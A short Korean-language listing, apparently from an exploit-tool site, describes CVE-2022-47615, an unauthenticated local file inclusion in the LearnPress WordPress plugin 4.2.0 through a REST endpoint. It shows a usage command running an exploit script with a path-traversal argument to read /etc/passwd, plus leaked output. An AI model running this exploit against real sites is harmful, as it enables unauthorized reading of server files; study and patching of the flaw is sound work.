CVE-2022-47615

CVE-2022-47615 LearnPress 플러그인 4.2.0 - 인증되지 않은 LFI 설명 설명 이 플러그인은 lp/v1/courses/archive-course REST 엔드포인트에서 다양한 매개변수를 include 문에 사용하기 전에 검증하지 않아 LFI 문제로 이어질 수 있습니다. 사용 방법 root@kitploit: $ python3 exploit.py -u http://wordpress.lan -f ../../../etc/passwd root:x:0:0:root:/root:/bin/bash...